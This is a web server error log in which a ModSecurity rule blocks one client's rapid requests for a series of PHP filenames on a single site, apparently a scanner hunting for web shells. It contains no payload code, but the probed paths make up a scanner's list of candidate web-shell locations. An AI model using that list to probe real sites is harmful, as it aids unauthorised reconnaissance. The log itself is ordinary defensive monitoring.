[Tue Mar 24 05:30:49.087779 2026] [:error] [pid 3137:tid 3150] [client 172.213.136.15:21971] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gg.php"] [unique_id "acGxCZdZesutm6dfYM_d6QAAAMs"]
[Tue Mar 24 05:30:50.530339 2026] [:error] [pid 3032:tid 3119] [client 172.213.136.15:6177] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/14.php"] [unique_id "acGxCia_-JXXD03-JNzEMwAAAJA"]
[Tue Mar 24 05:30:52.100188 2026] [:error] [pid 3032:tid 3117] [client 172.213.136.15:37312] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/14.php"] [unique_id "acGxDCa_-JXXD03-JNzEPgAAAI4"]
[Tue Mar 24 05:30:53.002675 2026] [:error] [pid 3032:tid 3108] [client 172.213.136.15:26017] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/14.php"] [unique_id "acGxDSa_-JXXD03-JNzERAAAAIU"]
[Tue Mar 24 05:30:53.999852 2026] [:error] [pid 3137:tid 3141] [client 172.213.136.15:6715] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/14.php"] [unique_id "acGxDZdZesutm6dfYM_d8AAAAMI"]
[Tue Mar 24 05:30:54.621147 2026] [:error] [pid 3137:tid 3157] [client 172.213.136.15:33733] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6erg.php"] [unique_id "acGxDpdZesutm6dfYM_d8gAAANI"]
[Tue Mar 24 05:30:55.906975 2026] [:error] [pid 3137:tid 3153] [client 172.213.136.15:31249] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6erg.php"] [unique_id "acGxD5dZesutm6dfYM_d9AAAAM4"]
[Tue Mar 24 05:30:56.550923 2026] [:error] [pid 3137:tid 3142] [client 172.213.136.15:35212] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6erg.php"] [unique_id "acGxEJdZesutm6dfYM_d9gAAAMM"]
[Tue Mar 24 05:30:57.242950 2026] [:error] [pid 3137:tid 3146] [client 172.213.136.15:24366] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/6erg.php"] [unique_id "acGxEZdZesutm6dfYM_d_wAAAMc"]
[Tue Mar 24 05:30:58.373980 2026] [:error] [pid 3032:tid 3122] [client 172.213.136.15:41049] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d7.php"] [unique_id "acGxEia_-JXXD03-JNzEVgAAAJM"]
[Tue Mar 24 05:30:59.244211 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:41082] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d7.php"] [unique_id "acGxE5dZesutm6dfYM_eEwAAAMA"]
[Tue Mar 24 05:31:00.247728 2026] [:error] [pid 3137:tid 3160] [client 172.213.136.15:37335] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d7.php"] [unique_id "acGxFJdZesutm6dfYM_eGQAAANU"]
[Tue Mar 24 05:31:01.106750 2026] [:error] [pid 3137:tid 3146] [client 172.213.136.15:31288] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d7.php"] [unique_id "acGxFZdZesutm6dfYM_eHgAAAMc"]
[Tue Mar 24 05:31:01.893771 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:36852] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/idea.php"] [unique_id "acGxFZdZesutm6dfYM_eIwAAAMA"]
[Tue Mar 24 05:31:02.962944 2026] [:error] [pid 3032:tid 3104] [client 172.213.136.15:32965] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/idea.php"] [unique_id "acGxFia_-JXXD03-JNzEWgAAAIE"]
[Tue Mar 24 05:31:04.051281 2026] [:error] [pid 3030:tid 3050] [client 172.213.136.15:36814] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/idea.php"] [unique_id "acGxGAyOuILyynfcqfnzuQAAAAE"]
[Tue Mar 24 05:31:04.676198 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:39919] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/idea.php"] [unique_id "acGxGPwkUqN4GJAI5oVweQAAAQM"]
[Tue Mar 24 05:31:05.836250 2026] [:error] [pid 3031:tid 3092] [client 172.213.136.15:33009] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "acGxGaJBKytnG47nuibYlQAAAFA"]
[Tue Mar 24 05:31:06.667650 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:41072] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "acGxGpdZesutm6dfYM_eMQAAANM"]
[Tue Mar 24 05:31:08.209466 2026] [:error] [pid 3031:tid 3078] [client 172.213.136.15:25998] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "acGxHKJBKytnG47nuibYlwAAAEI"]
[Tue Mar 24 05:31:09.048520 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:33023] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/error_log.php"] [unique_id "acGxHfwkUqN4GJAI5oVwgQAAAQs"]
[Tue Mar 24 05:31:09.926010 2026] [:error] [pid 3031:tid 3085] [client 172.213.136.15:33434] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "acGxHaJBKytnG47nuibYnAAAAEk"]
[Tue Mar 24 05:31:10.641346 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:26035] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "acGxHvwkUqN4GJAI5oVwiQAAAQY"]
[Tue Mar 24 05:31:11.535778 2026] [:error] [pid 3032:tid 3112] [client 172.213.136.15:24364] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "acGxHya_-JXXD03-JNzEaAAAAIk"]
[Tue Mar 24 05:31:12.521215 2026] [:error] [pid 38767:tid 38777] [client 172.213.136.15:7052] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "acGxIPwkUqN4GJAI5oVwjwAAAQc"]
[Tue Mar 24 05:31:13.454779 2026] [:error] [pid 3030:tid 3062] [client 172.213.136.15:25130] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geju.php"] [unique_id "acGxIQyOuILyynfcqfnzxwAAAA0"]
[Tue Mar 24 05:31:15.374571 2026] [:error] [pid 3031:tid 3092] [client 172.213.136.15:23267] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geju.php"] [unique_id "acGxI6JBKytnG47nuibYowAAAFA"]
[Tue Mar 24 05:31:17.023165 2026] [:error] [pid 3137:tid 3141] [client 172.213.136.15:36841] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geju.php"] [unique_id "acGxJZdZesutm6dfYM_ePAAAAMI"]
[Tue Mar 24 05:31:17.766658 2026] [:error] [pid 38767:tid 38789] [client 172.213.136.15:6179] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/geju.php"] [unique_id "acGxJfwkUqN4GJAI5oVwpQAAARM"]
[Tue Mar 24 05:31:18.715694 2026] [:error] [pid 3137:tid 3146] [client 172.213.136.15:37351] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fesa.php"] [unique_id "acGxJpdZesutm6dfYM_eQQAAAMc"]
[Tue Mar 24 05:31:19.454886 2026] [:error] [pid 3031:tid 3083] [client 172.213.136.15:36846] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fesa.php"] [unique_id "acGxJ6JBKytnG47nuibYrQAAAEc"]
[Tue Mar 24 05:31:20.102289 2026] [:error] [pid 38767:tid 38775] [client 172.213.136.15:32966] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fesa.php"] [unique_id "acGxKPwkUqN4GJAI5oVwrAAAAQU"]
[Tue Mar 24 05:31:21.229729 2026] [:error] [pid 3032:tid 3120] [client 172.213.136.15:25146] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fesa.php"] [unique_id "acGxKSa_-JXXD03-JNzEcQAAAJE"]
[Tue Mar 24 05:31:22.146579 2026] [:error] [pid 38767:tid 38789] [client 172.213.136.15:36848] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/click.php"] [unique_id "acGxKvwkUqN4GJAI5oVwtQAAARM"]
[Tue Mar 24 05:31:22.802010 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:34202] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/click.php"] [unique_id "acGxKvwkUqN4GJAI5oVwtwAAARE"]
[Tue Mar 24 05:31:23.738561 2026] [:error] [pid 3032:tid 3122] [client 172.213.136.15:36847] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/click.php"] [unique_id "acGxKya_-JXXD03-JNzEcgAAAJM"]
[Tue Mar 24 05:31:24.507514 2026] [:error] [pid 38767:tid 38776] [client 172.213.136.15:23268] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/click.php"] [unique_id "acGxLPwkUqN4GJAI5oVwwAAAAQY"]
[Tue Mar 24 05:31:25.639765 2026] [:error] [pid 38767:tid 38785] [client 172.213.136.15:36255] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alex.php"] [unique_id "acGxLfwkUqN4GJAI5oVwxgAAAQ8"]
[Tue Mar 24 05:31:27.348981 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:25841] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alex.php"] [unique_id "acGxL_wkUqN4GJAI5oVwywAAAQg"]
[Tue Mar 24 05:31:28.817288 2026] [:error] [pid 3137:tid 3140] [client 172.213.136.15:37319] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alex.php"] [unique_id "acGxMJdZesutm6dfYM_eTQAAAME"]
[Tue Mar 24 05:31:29.857735 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:26124] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alex.php"] [unique_id "acGxMfwkUqN4GJAI5oVw0QAAAQI"]
[Tue Mar 24 05:31:31.512749 2026] [:error] [pid 3032:tid 3105] [client 172.213.136.15:42234] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "acGxMya_-JXXD03-JNzEfAAAAII"]
[Tue Mar 24 05:31:32.718465 2026] [:error] [pid 3032:tid 3117] [client 172.213.136.15:26416] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "acGxNCa_-JXXD03-JNzEgwAAAI4"]
[Tue Mar 24 05:31:33.997487 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:33724] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "acGxNfwkUqN4GJAI5oVw5QAAAQM"]
[Tue Mar 24 05:31:34.728515 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:6895] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/s.php"] [unique_id "acGxNvwkUqN4GJAI5oVw7AAAAQg"]
[Tue Mar 24 05:31:35.756030 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:26132] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "acGxN_wkUqN4GJAI5oVw9QAAARA"]
[Tue Mar 24 05:31:36.566853 2026] [:error] [pid 3137:tid 3154] [client 172.213.136.15:25142] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "acGxOJdZesutm6dfYM_eVgAAAM8"]
[Tue Mar 24 05:31:37.452120 2026] [:error] [pid 38767:tid 38779] [client 172.213.136.15:26141] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "acGxOfwkUqN4GJAI5oVw-wAAAQk"]
[Tue Mar 24 05:31:39.298094 2026] [:error] [pid 3032:tid 3125] [client 172.213.136.15:6892] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "acGxOya_-JXXD03-JNzEjAAAAJY"]
[Tue Mar 24 05:31:40.252998 2026] [:error] [pid 3137:tid 3148] [client 172.213.136.15:36523] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ging.php"] [unique_id "acGxPJdZesutm6dfYM_eWgAAAMk"]
[Tue Mar 24 05:31:41.211613 2026] [:error] [pid 38767:tid 38794] [client 172.213.136.15:6859] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ging.php"] [unique_id "acGxPfwkUqN4GJAI5oVxEQAAARg"]
[Tue Mar 24 05:31:56.423633 2026] [:error] [pid 38767:tid 38792] [client 172.213.136.15:32919] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahy66.php"] [unique_id "acGxTPwkUqN4GJAI5oVxigAAARY"]
[Tue Mar 24 05:31:57.282201 2026] [:error] [pid 3030:tid 3070] [client 172.213.136.15:25130] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahy66.php"] [unique_id "acGxTQyOuILyynfcqfnz6wAAABU"]
[Tue Mar 24 05:31:58.303922 2026] [:error] [pid 38767:tid 38770] [client 172.213.136.15:37274] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahy66.php"] [unique_id "acGxTvwkUqN4GJAI5oVxjwAAAQA"]
[Tue Mar 24 05:31:59.269562 2026] [:error] [pid 38767:tid 38778] [client 172.213.136.15:40960] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ahy66.php"] [unique_id "acGxT_wkUqN4GJAI5oVxlgAAAQg"]
[Tue Mar 24 05:32:00.166874 2026] [:error] [pid 38767:tid 38781] [client 172.213.136.15:42227] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bala.php"] [unique_id "acGxUPwkUqN4GJAI5oVxmwAAAQs"]
